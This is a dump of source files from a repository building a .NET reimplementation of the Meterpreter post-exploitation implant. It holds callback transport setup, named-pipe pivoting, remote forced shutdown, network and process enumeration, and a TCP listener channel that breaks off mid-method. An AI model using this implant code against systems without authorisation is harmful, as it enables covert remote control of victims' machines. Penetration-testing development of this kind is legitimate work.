[assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("7ace3762-d8e1-4969-a5a0-dcaf7b18164e")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /src/TestConsole.net35/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("TestConsole.net35")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("TestConsole.net35")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c3cc72bf-62a2-4034-af66-e66da73e425d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /src/TestConsole.net40/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("TestConsole.net40")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("TestConsole.net40")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6840b249-1a0e-433b-be79-a927696ea4b3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/FileSystemExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.IO; 3 | 4 | namespace Met.Core.Extensions 5 | { 6 | public static class FileSystemExtensions 7 | { 8 | private static HashSet executables = new HashSet 9 | { 10 | ".exe", 11 | ".bat", 12 | ".cmd", 13 | ".com" 14 | }; 15 | 16 | public static bool IsExecutable(this FileInfo info) 17 | { 18 | return executables.Contains(info.Extension.ToLower()); 19 | } 20 | 21 | public static bool IsDirectory(this FileInfo info) 22 | { 23 | return info.Attributes.HasFlag(FileAttributes.Directory); 24 | } 25 | 26 | public static uint ToMode(this FileInfo info) 27 | { 28 | const uint _S_IFDIR = 0x4000u; 29 | const uint _S_IFREG = 0x8000u; 30 | 31 | var mode = 0u; 32 | 33 | if (info.IsDirectory()) 34 | { 35 | mode |= _S_IFDIR | 0x49u; 36 | } 37 | else 38 | { 39 | mode |= _S_IFREG; 40 | } 41 | 42 | if (info.Attributes.HasFlag(FileAttributes.ReadOnly)) 43 | { 44 | mode |= 0x124; 45 | } 46 | else 47 | { 48 | mode |= 0x1B6u; 49 | } 50 | 51 | if (info.IsExecutable()) 52 | { 53 | mode |= 0x49u; 54 | } 55 | 56 | return mode; 57 | } 58 | } 59 | } 60 | 61 | -------------------------------------------------------------------------------- /src/stdapi.net35/SysPower.cs: -------------------------------------------------------------------------------- 1 | using Met.Core; 2 | using Met.Core.Proto; 3 | 4 | namespace Met.Stdapi 5 | { 6 | public class SysPower 7 | { 8 | public void Register(string extName, PluginManager manager) 9 | { 10 | manager.RegisterFunction(extName, "stdapi_sys_power_exitwindows", false, this.ExitWindows); 11 | } 12 | 13 | 14 | private InlineProcessingResult ExitWindows(Packet request, Packet response) 15 | { 16 | #if WECARE 17 | do { 18 | if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) == 0) { 19 | result = GetLastError(); 20 | break; 21 | } 22 | 23 | if(LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid) == 0) { 24 | result = GetLastError(); 25 | break; 26 | } 27 | 28 | tkp.PrivilegeCount = 1; 29 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 30 | 31 | if(AdjustTokenPrivileges(token, FALSE, &tkp, 0, NULL, NULL) == 0) { 32 | result = GetLastError(); 33 | break; 34 | } 35 | 36 | if(ExitWindowsEx(flags, reason) == 0) { 37 | result = GetLastError(); 38 | break; 39 | } 40 | } while(0); 41 | #endif 42 | var flags = request.Tlvs[TlvType.StdapiPowerFlags][0].ValueAsDword(); 43 | var reason = request.Tlvs[TlvType.StdapiPowerReason][0].ValueAsDword(); 44 | 45 | var result = Core.Native.User32.ExitWindowsEx((Core.Native.User32.ShutdownFlags)flags, (Core.Native.User32.ShutdownReason)reason); 46 | 47 | response.Result = PacketResult.Success; 48 | return InlineProcessingResult.Continue; 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/ProcessExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | namespace Met.Core.Extensions 8 | { 9 | public static class ProcessExtensions 10 | { 11 | public static Process GetParentProcess(this Process process) 12 | { 13 | try 14 | { 15 | return Core.Native.Ntdll.ParentProcessUtilities.GetParentProcess(process.Handle); 16 | } 17 | catch 18 | { 19 | return null; 20 | } 21 | } 22 | 23 | public static bool IsWow64(this Process process) 24 | { 25 | var result = false; 26 | 27 | Core.Native.Kernel32.IsWow64Process(process.Handle, out result); 28 | 29 | return result; 30 | } 31 | 32 | public static string GetUserName(this Process process) 33 | { 34 | IntPtr processHandle = IntPtr.Zero; 35 | try 36 | { 37 | Core.Native.Advapi32.OpenProcessToken(process.Handle, 8, out processHandle); 38 | using (var wi = new WindowsIdentity(processHandle)) 39 | { 40 | return wi.Name; 41 | } 42 | } 43 | catch 44 | { 45 | return null; 46 | } 47 | finally 48 | { 49 | if (processHandle != IntPtr.Zero) 50 | { 51 | Core.Native.Kernel32.CloseHandle(processHandle); 52 | } 53 | } 54 | } 55 | 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/stdapi.net35/StdapiPlugin.cs: -------------------------------------------------------------------------------- 1 | using Met.Core; 2 | 3 | namespace Met.Stdapi 4 | { 5 | public class StdapiPlugin : IPlugin 6 | { 7 | private SysConfig sysConfig = null; 8 | private NetConfig netConfig = null; 9 | private FileSystem fileSystem = null; 10 | private SysProcess sysProcess = null; 11 | private SysPower sysPower = null; 12 | 13 | public string Name => "stdapi"; 14 | 15 | public StdapiPlugin() 16 | { 17 | this.sysConfig = new SysConfig(); 18 | this.netConfig = new NetConfig(); 19 | this.fileSystem = new FileSystem(); 20 | this.sysProcess = new SysProcess(); 21 | this.sysPower = new SysPower(); 22 | } 23 | 24 | public void Init(byte[] initBytes) 25 | { 26 | } 27 | 28 | public void Register(PluginManager pluginManager, ChannelManager channelManager) 29 | { 30 | this.sysConfig.Register(this.Name, pluginManager); 31 | this.netConfig.Register(this.Name, pluginManager); 32 | this.fileSystem.Register(this.Name, pluginManager); 33 | this.sysProcess.Register(this.Name, pluginManager, channelManager); 34 | this.sysPower.Register(this.Name, pluginManager); 35 | 36 | channelManager.RegisterChannelCreator("stdapi_net_tcp_client", Channel.TcpClientChannel.Create); 37 | channelManager.RegisterChannelCreator("stdapi_net_tcp_server", Channel.TcpServerChannel.Create); 38 | channelManager.RegisterChannelCreator("stdapi_fs_file", Channel.FileChannel.Create); 39 | channelManager.RegisterChannelCreator("audio_output", Channel.AudioOutputChannel.Create); 40 | } 41 | 42 | public void Unregister(PluginManager pluginManager, ChannelManager channelManager) 43 | { 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/metsrv.net35/PivotManager.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using Met.Core.Pivot; 3 | using Met.Core.Proto; 4 | using System; 5 | using System.Collections.Generic; 6 | 7 | namespace Met.Core 8 | { 9 | public class PivotManager 10 | { 11 | private readonly IPacketDispatcher packetDispatcher; 12 | private readonly Dictionary pivotListeners; 13 | private readonly Dictionary pivots; 14 | 15 | public PivotManager(IPacketDispatcher packetDispatcher) 16 | { 17 | this.packetDispatcher = packetDispatcher; 18 | this.pivotListeners = new Dictionary(); 19 | this.pivots = new Dictionary(); 20 | } 21 | 22 | public void RegisterCommands(PluginManager pluginManager) 23 | { 24 | pluginManager.RegisterFunction(string.Empty, "core_pivot_add", false, this.PivotAdd); 25 | } 26 | 27 | private InlineProcessingResult PivotAdd(Packet request, Packet response) 28 | { 29 | // TODO: when we support more pivot types, don't assume this is a named pipe 30 | var pipeName = request.Tlvs.TryGetTlvValueAsString(TlvType.PivotNamedPipeName); 31 | var stageData = request.Tlvs.TryGetTlvValueAsRaw(TlvType.PivotStageData); 32 | var pivotId = new Guid(request.Tlvs.TryGetTlvValueAsRaw(TlvType.PivotId)); 33 | var listener = new NamedPipePivotListener(this.packetDispatcher, pivotId, pipeName, stageData); 34 | 35 | listener.PivotAdded += PivotAdded; 36 | 37 | this.pivotListeners.Add(listener.Id, listener); 38 | 39 | response.Result = PacketResult.Success; 40 | 41 | return InlineProcessingResult.Continue; 42 | } 43 | 44 | private void PivotAdded(PivotEventArgs args) 45 | { 46 | this.pivots[args.Pivot.Id] = args.Pivot; 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This repository contains all the noise and artifacts surrounding the development of a new implementation of Meterpreter that is intended to run on the CLR. The entire project is being live streamed on [my Twitch channel](https://twitch.tv/ojreeves), and archived on both [Vimeo](https://vimeo.com/album/5934749) and [YouTube](https://www.youtube.com/playlist?list=PLYovnhafVaw-wGlLtQw1N0dHjxkkvc62o). 2 | 3 | For the rationale behind this project, please see my [blog post](https://buffered.io/posts/new-livestream-series/), and check out Part 1 below. 4 | 5 | This is going to take a long time, and at the moment there's not much to see! 6 | 7 | ## Repositories to PR from (when finished) 8 | 9 | This is just for my own accounting when we're done. I need to remember the things I've modified along the way. 10 | 11 | * `metasploit-framework` 12 | * `metasploit-payloads` 13 | * `rex-arch` 14 | 15 | ## Keen to be involved? 16 | 17 | * Submit questions and comments in the suggestions box on my [Twitch](https://twitch.tv/ojreeves) page (and subscribe, if and when I finally make it to affiliate). 18 | * Feel free to submit an issue in this repo if you feel the need, but I'd prefer the suggestion box. 19 | * Hit me up on [Twitter](https://twitter.com/TheColonial). 20 | * Join in on the [Discord channel](https://discord.gg/mabFmst). 21 | * Support me on [Patreon](https://patreon.com/ojreeves). 22 | 23 | ## Pull Requests 24 | 25 | I don't want to sound awful, but please don't submit any. At least not for a very long time. The point of the exercise is to build _everything_ live on stream, and the last thing I want to have happen is to have huge PRs submitted here only for me to reject them. 26 | 27 | If you want to get involved with the coding, get in on the streams and participate that way. Thank you! 28 | 29 | ## Past Streams 30 | 31 | * [Parts 1 to 10](../master/Parts-1-to-10.md) 32 | * [Parts 11 to 20](../master/Parts-11-to-20.md) 33 | * [Parts 21 to 30](../master/Parts-21-to-30.md) 34 | * [Parts 31 to 40](../master/Parts-31-to-40.md) 35 | -------------------------------------------------------------------------------- /src/TestConsole.net35/TestConsole.net35.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C3CC72BF-62A2-4034-AF66-E66DA73E425D} 8 | Exe 9 | TestConsole 10 | TestConsole.net35 11 | v3.5 12 | 512 13 | 14 | 15 | AnyCPU 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | AnyCPU 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE 30 | prompt 31 | 4 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /src/TestConsole.net40/TestConsole.net40.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {6840B249-1A0E-433B-BE79-A927696EA4B3} 8 | Exe 9 | TestConsole 10 | TestConsole.net40 11 | v4.0 12 | 512 13 | 14 | 15 | AnyCPU 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | TRACE;DEBUG;NET40 21 | prompt 22 | 4 23 | 24 | 25 | AnyCPU 26 | pdbonly 27 | true 28 | bin\Release\ 29 | TRACE;NET40 30 | prompt 31 | 4 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | Program.cs 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /src/metsrv.net35/Trans/TransportConfig.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using Met.Core.Proto; 3 | using System; 4 | using System.IO; 5 | 6 | namespace Met.Core.Trans 7 | { 8 | public class TransportConfig 9 | { 10 | private const int URL_SIZE = 512; 11 | 12 | public Uri Uri { get; set; } 13 | public string Url { get; set; } 14 | public UInt32 CommsTimeout { get; set; } 15 | public UInt32 RetryTotal { get; set; } 16 | public UInt32 RetryWait { get; set; } 17 | 18 | public TransportConfig(BinaryReader reader) 19 | : this(reader.ReadWideString(URL_SIZE), 20 | reader.ReadUInt32(), 21 | reader.ReadUInt32(), 22 | reader.ReadUInt32()) 23 | { 24 | } 25 | 26 | public TransportConfig(string url, uint commsTimeout, uint retryTotal, uint retryWait) 27 | { 28 | this.Url = url; 29 | this.CommsTimeout = commsTimeout; 30 | this.RetryTotal = retryTotal; 31 | this.RetryWait = retryWait; 32 | 33 | try 34 | { 35 | this.Uri = new Uri(this.Url); 36 | } 37 | catch (UriFormatException) 38 | { 39 | var p = this.Url.Split(':'); 40 | url = string.Format("{0}:{1}{2}:{3}", p[0], p[1], System.Net.IPAddress.Any, p[2]); 41 | this.Uri = new Uri(url); 42 | } 43 | } 44 | 45 | public void GetConfig(ITlv tlv) 46 | { 47 | tlv.Add(TlvType.TransUrl, this.Url); 48 | tlv.Add(TlvType.TransCommTimeout, CommsTimeout); 49 | tlv.Add(TlvType.TransRetryTotal, RetryTotal); 50 | tlv.Add(TlvType.TransRetryWait, RetryWait); 51 | } 52 | 53 | public ITransport CreateTransport(Session session) 54 | { 55 | switch (this.Uri.Scheme.ToLowerInvariant()) 56 | { 57 | case "tcp": 58 | { 59 | return new TcpTransport(this, session); 60 | } 61 | case "http": 62 | case "https": 63 | { 64 | return new HttpTransport(this, session); 65 | } 66 | default: 67 | { 68 | return null; 69 | } 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/metsrv.net35/Native/User32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace Met.Core.Native 5 | { 6 | public static class User32 7 | { 8 | [Flags] 9 | public enum ShutdownFlags : uint 10 | { 11 | // ONE of the following five: 12 | LogOff = 0x00, 13 | ShutDown = 0x01, 14 | Reboot = 0x02, 15 | PowerOff = 0x08, 16 | RestartApps = 0x40, 17 | // plus AT MOST ONE of the following two: 18 | Force = 0x04, 19 | ForceIfHung = 0x10, 20 | } 21 | 22 | [Flags] 23 | public enum ShutdownReason : uint 24 | { 25 | MajorApplication = 0x00040000, 26 | MajorHardware = 0x00010000, 27 | MajorLegacyApi = 0x00070000, 28 | MajorOperatingSystem = 0x00020000, 29 | MajorOther = 0x00000000, 30 | MajorPower = 0x00060000, 31 | MajorSoftware = 0x00030000, 32 | MajorSystem = 0x00050000, 33 | 34 | MinorBlueScreen = 0x0000000F, 35 | MinorCordUnplugged = 0x0000000b, 36 | MinorDisk = 0x00000007, 37 | MinorEnvironment = 0x0000000c, 38 | MinorHardwareDriver = 0x0000000d, 39 | MinorHotfix = 0x00000011, 40 | MinorHung = 0x00000005, 41 | MinorInstallation = 0x00000002, 42 | MinorMaintenance = 0x00000001, 43 | MinorMMC = 0x00000019, 44 | MinorNetworkConnectivity = 0x00000014, 45 | MinorNetworkCard = 0x00000009, 46 | MinorOther = 0x00000000, 47 | MinorOtherDriver = 0x0000000e, 48 | MinorPowerSupply = 0x0000000a, 49 | MinorProcessor = 0x00000008, 50 | MinorReconfig = 0x00000004, 51 | MinorSecurity = 0x00000013, 52 | MinorSecurityFix = 0x00000012, 53 | MinorSecurityFixUninstall = 0x00000018, 54 | MinorServicePack = 0x00000010, 55 | MinorServicePackUninstall = 0x00000016, 56 | MinorTermSrv = 0x00000020, 57 | MinorUnstable = 0x00000006, 58 | MinorUpgrade = 0x00000003, 59 | MinorWMI = 0x00000015, 60 | 61 | FlagUserDefined = 0x40000000, 62 | FlagPlanned = 0x80000000 63 | } 64 | 65 | [DllImport("user32.dll")] 66 | public static extern bool ExitWindowsEx(ShutdownFlags flags, ShutdownReason reason); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/TlvDictionaryExtensions.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System.Collections.Generic; 3 | 4 | namespace Met.Core.Extensions 5 | { 6 | public static class TlvDictionaryExtensions 7 | { 8 | public static Tlv TryGetTlv(this Dictionary> dict, TlvType type) 9 | { 10 | var list = default(List); 11 | if (dict.TryGetValue(type, out list) && list.Count > 0) 12 | { 13 | return list[0]; 14 | } 15 | 16 | return null; 17 | } 18 | 19 | public static byte[] TryGetTlvValueAsRaw(this Dictionary> dict, TlvType type, byte[] def = null) 20 | { 21 | var list = default(List); 22 | if (dict.TryGetValue(type, out list) && list.Count > 0) 23 | { 24 | return list[0].ValueAsRaw(); 25 | } 26 | 27 | return def; 28 | } 29 | 30 | public static uint TryGetTlvValueAsDword(this Dictionary> dict, TlvType type, uint def = 0) 31 | { 32 | var list = default(List); 33 | if (dict.TryGetValue(type, out list) && list.Count > 0) 34 | { 35 | return list[0].ValueAsDword(); 36 | } 37 | 38 | return def; 39 | } 40 | 41 | public static bool TryGetTlvValueAsBool(this Dictionary> dict, TlvType type, bool def = false) 42 | { 43 | var list = default(List); 44 | if (dict.TryGetValue(type, out list) && list.Count > 0) 45 | { 46 | return list[0].ValueAsBool(); 47 | } 48 | 49 | return def; 50 | } 51 | 52 | public static ulong TryGetTlvValueAsQword(this Dictionary> dict, TlvType type, ulong def = 0) 53 | { 54 | var list = default(List); 55 | if (dict.TryGetValue(type, out list) && list.Count > 0) 56 | { 57 | return list[0].ValueAsQword(); 58 | } 59 | 60 | return def; 61 | } 62 | 63 | public static string TryGetTlvValueAsString(this Dictionary> dict, TlvType type, string def = "") 64 | { 65 | var list = default(List); 66 | if (dict.TryGetValue(type, out list) && list.Count > 0) 67 | { 68 | return list[0].ValueAsString(); 69 | } 70 | 71 | return def; 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/metsrv.net35/Native/Ntdll.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace Met.Core.Native 7 | { 8 | public static class Ntdll 9 | { 10 | [DllImport("ntdll.dll")] 11 | public static extern int RtlGetVersion(ref RtlOSVersionInfoEx lpVersionInformation); 12 | 13 | [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)] 14 | public struct RtlOSVersionInfoEx 15 | { 16 | public uint dwOSVersionInfoSize; 17 | public uint dwMajorVersion; 18 | public uint dwMinorVersion; 19 | public uint dwBuildNumber; 20 | public uint dwPlatformId; 21 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] 22 | public string szCSDVersion; 23 | public ushort wServicePackMajor; 24 | public ushort wServicePackMinor; 25 | public ushort wSuiteMask; 26 | public byte wProductType; 27 | public byte wReserved; 28 | } 29 | 30 | [StructLayout(LayoutKind.Sequential)] 31 | public struct ParentProcessUtilities 32 | { 33 | public IntPtr Reserved1; 34 | public IntPtr PebBaseAddress; 35 | public IntPtr Reserved2_0; 36 | public IntPtr Reserved2_1; 37 | public IntPtr UniqueProcessId; 38 | public IntPtr InheritedFromUniqueProcessId; 39 | 40 | [DllImport("ntdll.dll")] 41 | private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); 42 | 43 | public static Process GetParentProcess(IntPtr handle) 44 | { 45 | ParentProcessUtilities pbi = new ParentProcessUtilities(); 46 | int returnLength; 47 | int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); 48 | if (status != 0) 49 | { 50 | throw new Win32Exception(status); 51 | } 52 | 53 | try 54 | { 55 | return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); 56 | } 57 | catch (ArgumentException) 58 | { 59 | // not found 60 | return null; 61 | } 62 | } 63 | } 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/stdapi.net35/NetConfig.cs: -------------------------------------------------------------------------------- 1 | using Met.Core; 2 | using Met.Core.Extensions; 3 | using Met.Core.Proto; 4 | using System.Linq; 5 | using System.Net.NetworkInformation; 6 | using System.Net.Sockets; 7 | 8 | namespace Met.Stdapi 9 | { 10 | public class NetConfig 11 | { 12 | public void Register(string extName, PluginManager manager) 13 | { 14 | manager.RegisterFunction(extName, "stdapi_net_config_get_interfaces", false, this.GetInterfaces); 15 | } 16 | 17 | private InlineProcessingResult GetInterfaces(Packet request, Packet response) 18 | { 19 | foreach (var ni in NetworkInterface.GetAllNetworkInterfaces()) 20 | { 21 | var tlv = response.AddGroup(TlvType.StdapiNetworkInterface); 22 | tlv.Add(TlvType.StdapiMacName, ni.Description); 23 | 24 | var physical = ni.GetPhysicalAddress(); 25 | tlv.Add(TlvType.StdapiMacAddr, physical.GetAddressBytes()); 26 | 27 | var ip = ni.GetIPProperties(); 28 | var ip4Props = ip.GetIPv4Properties(); 29 | if (ip4Props != null) 30 | { 31 | tlv.Add(TlvType.StdapiInterfaceIndex, ip4Props.Index); 32 | tlv.Add(TlvType.StdapiInterfaceMtu, ip4Props.Mtu); 33 | } 34 | 35 | foreach (var addr in ip.UnicastAddresses.OrderBy(a => (uint)a.Address.AddressFamily)) 36 | { 37 | if (addr.Address.AddressFamily != AddressFamily.InterNetwork && 38 | addr.Address.AddressFamily != AddressFamily.InterNetworkV6) 39 | { 40 | continue; 41 | } 42 | 43 | tlv.Add(TlvType.StdapiIpPrefix, addr.GetPrefixLength()); 44 | tlv.Add(TlvType.StdapiIp, addr.Address.GetAddressBytes()); 45 | 46 | if (addr.Address.AddressFamily == AddressFamily.InterNetworkV6) 47 | { 48 | var sid = (uint)addr.Address.ScopeId; 49 | 50 | var b = new byte[] 51 | { 52 | (byte)(sid & 0xFF), 53 | (byte)(sid >> 8 & 0xFF), 54 | (byte)(sid >> 16 & 0xFF), 55 | (byte)(sid >> 24 & 0xFF), 56 | }; 57 | tlv.Add(TlvType.StdapiIp6Scope, b); 58 | } 59 | //else 60 | //{ 61 | // if (addr.IPv4Mask != null) 62 | // { 63 | // tlv.Add(TlvType.StdapiNetmask, addr.IPv4Mask.GetAddressBytes()); 64 | // } 65 | //} 66 | } 67 | } 68 | 69 | response.Result = PacketResult.Success; 70 | return InlineProcessingResult.Continue; 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/metsrv.net35/Extensions/BinaryReaderExtensions.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Text; 8 | 9 | namespace Met.Core.Extensions 10 | { 11 | public static class BinaryReaderExtensions 12 | { 13 | public static bool IsFinished(this BinaryReader reader) 14 | { 15 | return reader.PeekChar() == -1; 16 | } 17 | 18 | public static UInt16 ReadWord(this BinaryReader reader) 19 | { 20 | return (UInt16)IPAddress.NetworkToHostOrder((short)reader.ReadUInt16()); 21 | } 22 | 23 | public static UInt32 ReadDword(this BinaryReader reader) 24 | { 25 | return (UInt32)IPAddress.NetworkToHostOrder((int)reader.ReadUInt32()); 26 | } 27 | 28 | public static UInt64 ReadQword(this BinaryReader reader) 29 | { 30 | return (UInt64)IPAddress.NetworkToHostOrder((long)reader.ReadUInt64()); 31 | } 32 | 33 | public static string ReadString(this BinaryReader reader, int length) 34 | { 35 | return Encoding.UTF8.GetString(reader.ReadBytes(length)).TrimEnd('\0'); 36 | } 37 | 38 | public static string ReadWideString(this BinaryReader reader, int length) 39 | { 40 | return Encoding.Unicode.GetString(reader.ReadBytes(length * 2)).TrimEnd('\0'); 41 | } 42 | 43 | public static IEnumerable AsByteStream(this BinaryReader reader) 44 | { 45 | while (!reader.IsFinished()) 46 | { 47 | yield return reader.ReadByte(); 48 | } 49 | } 50 | 51 | public static IEnumerable AsUshortStream(this BinaryReader reader) 52 | { 53 | while (!reader.IsFinished()) 54 | { 55 | yield return reader.ReadUInt16(); 56 | } 57 | } 58 | 59 | public static string ReadNullTerminatedWideString(this BinaryReader reader) 60 | { 61 | var wideChars = reader.AsUshortStream() 62 | .TakeWhile(c => c != 0) 63 | .Select(c => new List { (byte)c, (byte)(c >> 8) }) 64 | .Flatten() 65 | .ToArray(); 66 | return Encoding.Unicode.GetString(wideChars); 67 | } 68 | 69 | public static string ReadNullTerminatedString(this BinaryReader reader) 70 | { 71 | var chars = reader.AsByteStream() 72 | .TakeWhile(c => c != 0) 73 | .ToArray(); 74 | return Encoding.UTF8.GetString(chars); 75 | } 76 | 77 | public static TlvType ReadTlvType(this BinaryReader reader) 78 | { 79 | return (TlvType)reader.ReadDword(); 80 | } 81 | 82 | public static PacketType ReadPacketType(this BinaryReader reader) 83 | { 84 | return (PacketType)reader.ReadDword(); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/stdapi.net35/stdapi.net35.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3296E4A3-94B5-4232-B423-44F4C7421CB3} 8 | Library 9 | Properties 10 | Met.Stdapi 11 | ext_server_stdapi.net35 12 | v3.5 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | ..\bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | ..\bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | {e05d0deb-d724-4448-8c4c-53d6a8e670f3} 58 | metsrv.net35 59 | 60 | 61 | 62 | 63 | copy /y $(TargetPath) Z:\meterpreter.net\ 64 | 65 | -------------------------------------------------------------------------------- /src/stdapi.net35/Channel/TcpServerChannel.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using System; 3 | using Met.Core.Proto; 4 | using System.Net.Sockets; 5 | using System.Net; 6 | using System.Threading; 7 | 8 | namespace Met.Stdapi.Channel 9 | { 10 | public class TcpServerChannel : Core.Channel 11 | { 12 | private readonly IPAddress bindAddress; 13 | private readonly int localPort; 14 | private readonly TcpListener listener; 15 | 16 | public int LocalPort 17 | { 18 | get { return localPort; } 19 | } 20 | 21 | public string LocalHost 22 | { 23 | get { return bindAddress.ToString(); } 24 | } 25 | 26 | private TcpServerChannel(Core.ChannelManager channelManager, string localHost, int localPort) 27 | : base(channelManager) 28 | { 29 | this.localPort = localPort; 30 | this.bindAddress = IPAddress.Any; 31 | 32 | if (!string.IsNullOrEmpty(localHost)) 33 | { 34 | this.bindAddress = IPAddress.Parse(localHost); 35 | } 36 | 37 | this.listener = new TcpListener(this.bindAddress, this.localPort); 38 | this.listener.ExclusiveAddressUse = false; 39 | this.listener.Start(); 40 | BeginAcceptConnection(); 41 | } 42 | 43 | private void BeginAcceptConnection() 44 | { 45 | 